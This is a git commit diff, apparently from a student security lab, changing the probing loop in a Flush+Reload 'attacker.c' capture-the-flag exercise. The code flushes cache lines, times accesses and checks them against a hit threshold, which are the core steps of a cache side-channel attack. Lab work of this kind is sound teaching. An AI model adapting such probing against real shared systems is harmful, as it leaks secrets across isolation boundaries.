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part2 ver 0.8.1

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ClF3 2024-11-05 10:41:10 +08:00
parent 583a23a507
commit 0461df7cee
1 changed files with 1 additions and 3 deletions
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4
Part2-FlushReload/attacker.c
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@ -26,9 +26,7 @@ int main() {
// [2.1] TODO: Put your capture-the-flag code here // [2.1] TODO: Put your capture-the-flag code here
for (int j = 0; j < 1024; j++) { for (int j = 0; j < 1024; j++) {
for(int i = 0; i < 1024; i++) { clflush((ADDR_PTR)buf + j * 128);
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < WAIT_TIME; i++);
time = measure_one_block_access_time((ADDR_PTR)buf + j * 128); time = measure_one_block_access_time((ADDR_PTR)buf + j * 128);
if(time < CACHE_HIT_THRESHOLD) { if(time < CACHE_HIT_THRESHOLD) {